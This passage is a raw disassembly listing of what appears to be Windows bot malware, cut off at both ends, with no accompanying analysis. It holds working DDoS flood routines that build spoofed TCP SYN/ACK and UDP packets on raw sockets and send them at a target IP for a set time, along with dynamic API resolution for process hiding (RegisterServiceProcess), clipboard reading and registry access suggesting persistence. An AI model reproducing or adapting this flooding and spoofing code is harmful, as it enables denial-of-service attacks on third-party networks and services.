mov eax, dword_421D30 imul eax, 0EA60h push eax ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_406330 ; --------------------------------------------------------------------------- loc_40632C: ; CODE XREF: sub_405D52+5C4j and [ebp+var_4], 0 loc_406330: ; CODE XREF: sub_405D52+5D8j jmp loc_405DEA ; --------------------------------------------------------------------------- loc_406335: ; CODE XREF: sub_405D52+9Cj push [ebp+var_248] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread sub_405D52 endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_40634F(LPVOID) sub_40634F proc near ; DATA XREF: sub_40ABFE+3E49o var_72C = word ptr -72Ch var_72A = word ptr -72Ah var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = byte ptr -720h var_71F = byte ptr -71Fh var_71E = word ptr -71Eh var_71C = word ptr -71Ch var_71A = word ptr -71Ah var_718 = dword ptr -718h hostshort = word ptr -714h var_710 = dword ptr -710h Dest = byte ptr -70Ch var_50C = byte ptr -50Ch s = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h Src = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = byte ptr -4D8h var_4D7 = byte ptr -4D7h var_4D6 = word ptr -4D6h namelen = dword ptr -4C0h optval = byte ptr -4BCh name = sockaddr ptr -4B8h var_4A8 = byte ptr -4A8h var_318 = byte ptr -318h var_317 = byte ptr -317h var_304 = byte ptr -304h var_2F8 = byte ptr -2F8h Dst = byte ptr -2F0h var_2DC = word ptr -2DCh var_2DA = word ptr -2DAh var_2D8 = dword ptr -2D8h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h String1 = byte ptr -2C4h cp = byte ptr -2A4h var_1A4 = byte ptr -1A4h Str = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = byte ptr -14h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 72Ch push esi push edi and [ebp+var_318], 0 push 0Eh pop ecx xor eax, eax lea edi, [ebp+var_317] rep stosd stosw stosb mov esi, [ebp+arg_0] mov ecx, 0ADh lea edi, [ebp+var_2CC] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4E8], eax mov eax, [ebp+var_4E8] mov dword ptr [eax+2B0h], 1 call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx mov [ebp+hostshort], ax lea eax, [ebp+var_A4] push eax ; Str call _atoi pop ecx mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_40642B push offset aYouCantSendPac ; "You cant send packets for 0 seconds." lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_20], 0 jnz short loc_40640B push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_40640B: ; CODE XREF: sub_40634F+99j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+var_2C8] call sub_410709 pop ecx xor eax, eax jmp loc_406B06 ; --------------------------------------------------------------------------- loc_40642B: ; CODE XREF: sub_40634F+80j lea eax, [ebp+var_4A8] push eax push 202h call dword_4263B4 ; WSAStartup test eax, eax jz short loc_4064A1 push offset aDdosErrorWsada ; "[DDOS] Error WSAData." lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_20], 0 jnz short loc_40647B push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_40647B: ; CODE XREF: sub_40634F+109j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx call dword_42639C ; WSACleanup push [ebp+var_2C8] call sub_410709 pop ecx xor eax, eax jmp loc_406B06 ; --------------------------------------------------------------------------- loc_4064A1: ; CODE XREF: sub_40634F+F0j push 0FFh ; protocol push 3 ; type push 2 ; af call ds:socket ; socket mov [ebp+s], eax cmp [ebp+s], 0FFFFFFFFh jnz short loc_40652B push offset aDdosErrorCalli ; "[DDOS] Error calling socket()." lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_20], 0 jnz short loc_4064F9 push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_4064F9: ; CODE XREF: sub_40634F+187j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket call dword_42639C ; WSACleanup push [ebp+var_2C8] call sub_410709 pop ecx xor eax, eax jmp loc_406B06 ; --------------------------------------------------------------------------- loc_40652B: ; CODE XREF: sub_40634F+16Ej mov dword ptr [ebp+optval], 1 push 4 ; optlen lea eax, [ebp+optval] push eax ; optval push 2 ; optname push 0 ; level push [ebp+s] ; s call ds:setsockopt ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4065C7 call dword_4263C8 ; WSAGetLastError push eax push offset aDdosErrorCal_0 ; "[DDOS] Error calling setsockopt(). fWSA"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_20], 0 jnz short loc_406595 push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_406595: ; CODE XREF: sub_40634F+223j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket call dword_42639C ; WSACleanup push [ebp+var_2C8] call sub_410709 pop ecx xor eax, eax jmp loc_406B06 ; --------------------------------------------------------------------------- loc_4065C7: ; CODE XREF: sub_40634F+202j lea eax, [ebp+cp] push eax ; cp call ds:inet_addr ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_40664D call dword_4263C8 ; WSAGetLastError push eax push offset aDdosInvalidTar ; "[DDOS] :Invalid target IP." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_20], 0 jnz short loc_40661B push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_40661B: ; CODE XREF: sub_40634F+2A9j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket call dword_42639C ; WSACleanup push [ebp+var_2C8] call sub_410709 pop ecx xor eax, eax jmp loc_406B06 ; --------------------------------------------------------------------------- loc_40664D: ; CODE XREF: sub_40634F+288j mov [ebp+var_2DC], 2 push 0 ; hostshort call ds:htons ; htons mov [ebp+var_2DA], ax lea eax, [ebp+cp] push eax ; cp call ds:inet_addr ; inet_addr mov [ebp+var_2D8], eax call ds:GetTickCount ; GetTickCount mov [ebp+var_710], eax lea eax, [ebp+cp] push eax push offset aDdosSendingPac ; "[DDOS] :Sending packets to %s..." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_20], 0 jnz short loc_4066C6 push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_4066C6: ; CODE XREF: sub_40634F+354j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx and [ebp+var_718], 0 loc_4066DA: ; CODE XREF: sub_40634F+71Bj call ds:GetTickCount ; GetTickCount sub eax, [ebp+var_710] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_18] ja loc_406A6F mov [ebp+namelen], 10h push 10h ; Size push 0 ; Val lea eax, [ebp+name] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+namelen] push eax ; namelen lea eax, [ebp+name] push eax ; name push [ebp+var_2CC] ; s call ds:getsockname ; getsockname call _rand cdq mov ecx, 0FFh idiv ecx push edx movzx eax, [ebp+name.sa_data+4] push eax movzx eax, [ebp+name.sa_data+3] push eax movzx eax, [ebp+name.sa_data+2] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" lea eax, [ebp+var_50C] push eax ; Dest call _sprintf add esp, 18h mov [ebp+var_14], 45h push 28h ; hostshort call ds:htons ; htons mov [ebp+var_12], ax mov [ebp+var_10], 1 and [ebp+var_E], 0 mov [ebp+var_C], 80h mov [ebp+var_B], 6 and [ebp+var_A], 0 lea eax, [ebp+var_50C] push eax ; cp call ds:inet_addr ; inet_addr mov [ebp+var_8], eax mov eax, [ebp+var_2D8] mov [ebp+var_4], eax movzx eax, [ebp+hostshort] test eax, eax jnz short loc_4067D2 call _rand cdq mov ecx, 401h idiv ecx push edx ; hostshort call ds:htons ; htons mov [ebp+var_72A], ax jmp short loc_4067E5 ; --------------------------------------------------------------------------- loc_4067D2: ; CODE XREF: sub_40634F+464j push dword ptr [ebp+hostshort] ; hostshort call ds:htons ; htons mov [ebp+var_72A], ax loc_4067E5: ; CODE XREF: sub_40634F+481j call _rand cdq mov ecx, 401h idiv ecx push edx ; hostshort call ds:htons ; htons mov [ebp+var_72C], ax push 12345678h ; hostlong call ds:htonl ; htonl mov [ebp+var_728], eax push offset aDdos_syn ; "ddos.syn" lea eax, [ebp+String1] push eax ; lpString1 call ds:lstrcmpA ; lstrcmpA test eax, eax jnz short loc_406835 and [ebp+var_724], 0 mov [ebp+var_71F], 2 loc_406835: ; CODE XREF: sub_40634F+4D6j push offset aDdos_ack ; "ddos.ack" lea eax, [ebp+String1] push eax ; lpString1 call ds:lstrcmpA ; lstrcmpA test eax, eax jnz short loc_406859 and [ebp+var_724], 0 mov [ebp+var_71F], 10h loc_406859: ; CODE XREF: sub_40634F+4FAj push offset aDdos_random ; "ddos.random" lea eax, [ebp+String1] push eax ; lpString1 call ds:lstrcmpA ; lstrcmpA test eax, eax jnz short loc_40689F call _rand cdq push 3 pop ecx idiv ecx mov [ebp+var_724], edx call _rand cdq push 2 pop ecx idiv ecx test edx, edx jnz short loc_406898 mov [ebp+var_71F], 2 jmp short loc_40689F ; --------------------------------------------------------------------------- loc_406898: ; CODE XREF: sub_40634F+53Ej mov [ebp+var_71F], 10h loc_40689F: ; CODE XREF: sub_40634F+51Ej ; sub_40634F+547j mov [ebp+var_720], 50h push 200h ; hostshort call ds:htons ; htons mov [ebp+var_71E], ax and [ebp+var_71A], 0 and [ebp+var_71C], 0 mov eax, [ebp+var_8] mov [ebp+Src], eax mov eax, [ebp+var_4] mov [ebp+var_4DC], eax and [ebp+var_4D8], 0 mov [ebp+var_4D7], 6 push 14h ; hostshort call ds:htons ; htons mov [ebp+var_4D6], ax push 20h ; Size lea eax, [ebp+Src] push eax ; Src lea eax, [ebp+var_318] push eax ; Dst call _memcpy add esp, 0Ch push 14h ; Size lea eax, [ebp+var_72C] push eax ; Src lea eax, [ebp+var_2F8] push eax ; Dst call _memcpy add esp, 0Ch push 34h lea eax, [ebp+var_318] push eax call sub_40898A pop ecx pop ecx mov [ebp+var_71C], ax push 14h ; Size lea eax, [ebp+var_14] push eax ; Src lea eax, [ebp+var_318] push eax ; Dst call _memcpy add esp, 0Ch push 14h ; Size lea eax, [ebp+var_72C] push eax ; Src lea eax, [ebp+var_304] push eax ; Dst call _memcpy add esp, 0Ch push 4 ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push 28h lea eax, [ebp+var_318] push eax call sub_40898A pop ecx pop ecx mov [ebp+var_A], ax push 14h ; Size lea eax, [ebp+var_14] push eax ; Src lea eax, [ebp+var_318] push eax ; Dst call _memcpy add esp, 0Ch push 10h lea eax, [ebp+var_2DC] push eax push 0 push 3Ch lea eax, [ebp+var_318] push eax push [ebp+s] call dword_426484 ; sendto mov [ebp+var_4E4], eax cmp [ebp+var_4E4], 0FFFFFFFFh jnz loc_406A5D push [ebp+var_718] push 3Ch call ds:WSAGetLastError ; WSAGetLastError push eax lea eax, [ebp+cp] push eax push offset aDdosErrorSendi ; "[DDOS] :Error sending packets to %s. ea"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h cmp [ebp+var_20], 0 jnz short loc_406A2B push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_406A2B: ; CODE XREF: sub_40634F+6B9j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket call dword_42639C ; WSACleanup push [ebp+var_2C8] call sub_410709 pop ecx xor eax, eax jmp loc_406B06 ; --------------------------------------------------------------------------- loc_406A5D: ; CODE XREF: sub_40634F+685j mov eax, [ebp+var_718] inc eax mov [ebp+var_718], eax jmp loc_4066DA ; --------------------------------------------------------------------------- loc_406A6F: ; CODE XREF: sub_40634F+3A3j push [ebp+s] call dword_4264B8 ; closesocket mov eax, [ebp+var_718] imul eax, 3Ch shr eax, 0Ah xor edx, edx div [ebp+var_18] push eax mov eax, [ebp+var_718] imul eax, 3Ch shr eax, 0Ah shr eax, 0Ah push eax push [ebp+var_718] lea eax, [ebp+cp] push eax push offset aDdosFinishedSe ; "[DDOS] :Finished sending packets to %s."... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h cmp [ebp+var_20], 0 jnz short loc_406AE5 push 0 push [ebp+var_24] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_1A4] push eax push [ebp+var_2CC] call sub_40A08D add esp, 14h loc_406AE5: ; CODE XREF: sub_40634F+773j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx call dword_42639C ; WSACleanup push [ebp+var_2C8] call sub_410709 pop ecx xor eax, eax loc_406B06: ; CODE XREF: sub_40634F+D7j ; sub_40634F+14Dj ... pop edi pop esi leave retn 4 sub_40634F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_406B0C(LPVOID) sub_406B0C proc near ; DATA XREF: sub_40ABFE+3FBCo var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h Dest = byte ptr -5ECh to = sockaddr ptr -1ECh var_1DC = byte ptr -1DCh var_1BC = dword ptr -1BCh namelen = dword ptr -1B8h optval = byte ptr -1B4h name = sockaddr ptr -1B0h s = dword ptr -1A0h var_19C = dword ptr -19Ch var_198 = dword ptr -198h cp = byte ptr -194h var_94 = byte ptr -94h hostshort = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5F4h push esi push edi mov esi, [ebp+arg_0] push 67h pop ecx lea edi, [ebp+var_19C] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_1BC], eax mov eax, [ebp+var_1BC] mov dword ptr [eax+198h], 1 cmp [ebp+var_10], 0 jnz short loc_406B9E push offset aYouCantSendP_0 ; "You cant send packets for 0 seconds." lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_8], 0 jnz short loc_406B7E push 0 push [ebp+var_C] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_94] push eax push [ebp+var_19C] call sub_40A08D add esp, 14h loc_406B7E: ; CODE XREF: sub_406B0C+4Fj lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+var_198] call sub_410709 pop ecx xor eax, eax jmp loc_407081 ; --------------------------------------------------------------------------- loc_406B9E: ; CODE XREF: sub_406B0C+36j push 0FFh ; protocol push 3 ; type push 2 ; af call ds:socket ; socket mov [ebp+s], eax cmp [ebp+s], 0FFFFFFFFh jnz short loc_406C22 push offset aDdosErrorCal_1 ; "[DDOS] Error calling socket()." lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_8], 0 jnz short loc_406BF6 push 0 push [ebp+var_C] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_94] push eax push [ebp+var_19C] call sub_40A08D add esp, 14h loc_406BF6: ; CODE XREF: sub_406B0C+C7j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket push [ebp+var_198] call sub_410709 pop ecx xor eax, eax jmp loc_407081 ; --------------------------------------------------------------------------- loc_406C22: ; CODE XREF: sub_406B0C+AEj mov dword ptr [ebp+optval], 1 push 4 ; optlen lea eax, [ebp+optval] push eax ; optval push 2 ; optname push 0 ; level push [ebp+s] ; s call ds:setsockopt ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_406CB8 call dword_4263C8 ; WSAGetLastError push eax push offset aDdosErrorCal_2 ; "[DDOS] Error calling setsockopt(). fWSA"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], 0 jnz short loc_406C8C push 0 push [ebp+var_C] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_94] push eax push [ebp+var_19C] call sub_40A08D add esp, 14h loc_406C8C: ; CODE XREF: sub_406B0C+15Dj lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket push [ebp+var_198] call sub_410709 pop ecx xor eax, eax jmp loc_407081 ; --------------------------------------------------------------------------- loc_406CB8: ; CODE XREF: sub_406B0C+13Cj lea eax, [ebp+cp] push eax ; cp call ds:inet_addr ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_406D38 call dword_4263C8 ; WSAGetLastError push eax push offset aDdosInvalidT_0 ; "[DDOS] :Invalid target IP." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], 0 jnz short loc_406D0C push 0 push [ebp+var_C] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_94] push eax push [ebp+var_19C] call sub_40A08D add esp, 14h loc_406D0C: ; CODE XREF: sub_406B0C+1DDj lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket push [ebp+var_198] call sub_410709 pop ecx xor eax, eax jmp loc_407081 ; --------------------------------------------------------------------------- loc_406D38: ; CODE XREF: sub_406B0C+1BCj mov [ebp+to.sa_family], 2 push 0 ; hostshort call ds:htons ; htons mov word ptr [ebp+to.sa_data], ax lea eax, [ebp+cp] push eax ; cp call ds:inet_addr ; inet_addr mov dword ptr [ebp+to.sa_data+2], eax call ds:GetTickCount ; GetTickCount mov [ebp+var_5F0], eax lea eax, [ebp+cp] push eax push offset aDdosSendingP_0 ; "[DDOS] :Sending packets to %s..." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], 0 jnz short loc_406DB1 push 0 push [ebp+var_C] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_94] push eax push [ebp+var_19C] call sub_40A08D add esp, 14h loc_406DB1: ; CODE XREF: sub_406B0C+282j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx and [ebp+var_5F4], 0 loc_406DC5: ; CODE XREF: sub_406B0C+4D9j call ds:GetTickCount ; GetTickCount sub eax, [ebp+var_5F0] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_10] ja loc_406FEA mov [ebp+namelen], 10h push 10h ; Size push 0 ; Val lea eax, [ebp+name] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+namelen] push eax ; namelen lea eax, [ebp+name] push eax ; name push [ebp+var_19C] ; s call ds:getsockname ; getsockname call _rand cdq mov ecx, 0FFh idiv ecx push edx movzx eax, [ebp+name.sa_data+4] push eax movzx eax, [ebp+name.sa_data+3] push eax movzx eax, [ebp+name.sa_data+2] push eax push offset aD_D_D_D_1 ; "%d.%d.%d.%d" lea eax, [ebp+var_1DC] push eax ; Dest call _sprintf add esp, 18h mov byte_425F08, 45h push 41Ch ; hostshort call ds:htons ; htons mov word_425F0A, ax mov word_425F0C, 1 and word_425F0E, 0 mov byte_425F10, 80h mov byte_425F11, 11h and word_425F12, 0 lea eax, [ebp+var_1DC] push eax ; cp call ds:inet_addr ; inet_addr mov dword_425F14, eax mov eax, dword ptr [ebp+to.sa_data+2] mov dword_425F18, eax and word_425F22, 0 cmp dword ptr [ebp+hostshort], 0 jnz short loc_406EDA call _rand cdq mov ecx, 401h idiv ecx push edx ; hostshort call ds:htons ; htons mov word_425F1E, ax jmp short loc_406EE9 ; --------------------------------------------------------------------------- loc_406EDA: ; CODE XREF: sub_406B0C+3B0j push dword ptr [ebp+hostshort] ; hostshort call ds:htons ; htons mov word_425F1E, ax loc_406EE9: ; CODE XREF: sub_406B0C+3CCj call _rand cdq mov ecx, 401h idiv ecx mov word_425F1C, dx push 408h ; hostshort call ds:htons ; htons mov word_425F20, ax push 400h ; Size call _rand cdq mov ecx, 0FFh idiv ecx push edx ; Val push offset dword_425F24 ; Dst call _memset add esp, 0Ch push 10h ; tolen lea eax, [ebp+to] push eax ; to push 0 ; flags push 41Ch ; len push offset byte_425F08 ; buf push [ebp+s] ; s call ds:sendto ; sendto cmp eax, 0FFFFFFFFh jnz loc_406FD8 push [ebp+var_5F4] push 41Ch call ds:WSAGetLastError ; WSAGetLastError push eax lea eax, [ebp+cp] push eax push offset aDdosErrorSen_0 ; "[DDOS] :Error sending packets to %s. ea"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h cmp [ebp+var_8], 0 jnz short loc_406FAC push 0 push [ebp+var_C] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_94] push eax push [ebp+var_19C] call sub_40A08D add esp, 14h loc_406FAC: ; CODE XREF: sub_406B0C+47Dj lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+s] call dword_4264B8 ; closesocket push [ebp+var_198] call sub_410709 pop ecx xor eax, eax jmp loc_407081 ; --------------------------------------------------------------------------- loc_406FD8: ; CODE XREF: sub_406B0C+446j mov eax, [ebp+var_5F4] inc eax mov [ebp+var_5F4], eax jmp loc_406DC5 ; --------------------------------------------------------------------------- loc_406FEA: ; CODE XREF: sub_406B0C+2D1j push [ebp+s] ; s call ds:closesocket ; closesocket mov eax, [ebp+var_5F4] imul eax, 41Ch shr eax, 0Ah xor edx, edx div [ebp+var_10] push eax mov eax, [ebp+var_5F4] imul eax, 41Ch shr eax, 0Ah shr eax, 0Ah push eax push [ebp+var_5F4] lea eax, [ebp+cp] push eax push offset aDdosFinished_0 ; "[DDOS] :Finished sending packets to %s."... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h cmp [ebp+var_8], 0 jnz short loc_407066 push 0 push [ebp+var_C] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_94] push eax push [ebp+var_19C] call sub_40A08D add esp, 14h loc_407066: ; CODE XREF: sub_406B0C+537j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+var_198] call sub_410709 pop ecx xor eax, eax loc_407081: ; CODE XREF: sub_406B0C+8Dj ; sub_406B0C+111j ... pop edi pop esi leave retn 4 sub_406B0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407087 proc near ; CODE XREF: WinMain(x,x,x,x)+67p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h hModule = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 30h push offset ModuleName ; "kernel32.dll" call ds:GetModuleHandleA ; GetModuleHandleA mov [ebp+hModule], eax cmp [ebp+hModule], 0 jz loc_407202 push offset ProcName ; "SetErrorMode" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264CC, eax push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426444, eax push offset aProcess32first ; "Process32First" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426428, eax push offset aProcess32next ; "Process32Next" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42636C, eax push offset aModule32first ; "Module32First" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42632C, eax push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42634C, eax push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263AC, eax push offset aGetdrivetypea ; "GetDriveTypeA" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426480, eax push offset aSearchpatha ; "SearchPathA" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264D8, eax push offset aQueryperforman ; "QueryPerformanceCounter" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426374, eax push offset aQueryperform_0 ; "QueryPerformanceFrequency" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426360, eax cmp dword_4264CC, 0 jz short loc_4071D0 cmp dword_426444, 0 jz short loc_4071D0 cmp dword_426428, 0 jz short loc_4071D0 cmp dword_42636C, 0 jz short loc_4071D0 cmp dword_42634C, 0 jz short loc_4071D0 cmp dword_4263AC, 0 jz short loc_4071D0 cmp dword_426480, 0 jz short loc_4071D0 cmp dword_4264D8, 0 jz short loc_4071D0 cmp dword_426374, 0 jz short loc_4071D0 cmp dword_426360, 0 jnz short loc_4071DA loc_4071D0: ; CODE XREF: sub_407087+F6j ; sub_407087+FFj ... mov dword_4264DC, 1 loc_4071DA: ; CODE XREF: sub_407087+147j push offset aRegisterservic ; "RegisterServiceProcess" push [ebp+hModule] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426458, eax cmp dword_426458, 0 jz short loc_407200 push 1 push 0 call dword_426458 loc_407200: ; CODE XREF: sub_407087+16Dj jmp short loc_407217 ; --------------------------------------------------------------------------- loc_407202: ; CODE XREF: sub_407087+18j call ds:GetLastError mov dword_4264E0, eax mov dword_4264DC, 1 loc_407217: ; CODE XREF: sub_407087:loc_407200j push offset LibFileName ; "user32.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz loc_40731B push offset aSendmessagea ; "SendMessageA" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42647C, eax push offset aFindwindowa ; "FindWindowA" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426430, eax push offset aIswindow ; "IsWindow" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263D0, eax push offset aDestroywindow ; "DestroyWindow" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264D0, eax push offset aOpenclipboard ; "OpenClipboard" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263F8, eax push offset aGetclipboardda ; "GetClipboardData" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426418, eax push offset aCloseclipboard ; "CloseClipboard" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426474, eax push offset aExitwindowsex ; "ExitWindowsEx" push [ebp+var_4] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426390, eax cmp dword_42647C, 0 jz short loc_40730F cmp dword_426430, 0 jz short loc_40730F cmp dword_4263D0, 0 jz short loc_40730F cmp dword_4264D0, 0 jz short loc_40730F cmp dword_4263F8, 0 jz short loc_40730F cmp dword_426418, 0 jz short loc_40730F cmp dword_426474, 0 jz short loc_40730F cmp dword_426390, 0 jnz short loc_407319 loc_40730F: ; CODE XREF: sub_407087+247j ; sub_407087+250j ... mov dword_4264E4, 1 loc_407319: ; CODE XREF: sub_407087+286j jmp short loc_407330 ; --------------------------------------------------------------------------- loc_40731B: ; CODE XREF: sub_407087+1A2j call ds:GetLastError mov dword_4264E8, eax mov dword_4264E4, 1 loc_407330: ; CODE XREF: sub_407087:loc_407319j push offset aAdvapi32_dll ; "advapi32.dll" call ds:GetModuleHandleA ; GetModuleHandleA mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz loc_407480 push offset aRegopenkeyexa ; "RegOpenKeyExA" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426490, eax push offset aRegcreatekeyex ; "RegCreateKeyExA" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263E4, eax push offset aRegsetvalueexa ; "RegSetValueExA" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426448, eax push offset aRegqueryvaluee ; "RegQueryValueExA" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426358, eax push offset aRegdeletevalue ; "RegDeleteValueA" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263A8, eax push offset aRegclosekey ; "RegCloseKey" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426404, eax cmp dword_426490, 0 jz short loc_4073F0 cmp dword_4263E4, 0 jz short loc_4073F0 cmp dword_426448, 0 jz short loc_4073F0 cmp dword_426358, 0 jz short loc_4073F0 cmp dword_4263A8, 0 jz short loc_4073F0 cmp dword_426404, 0 jnz short loc_4073FA loc_4073F0: ; CODE XREF: sub_407087+33Aj ; sub_407087+343j ... mov 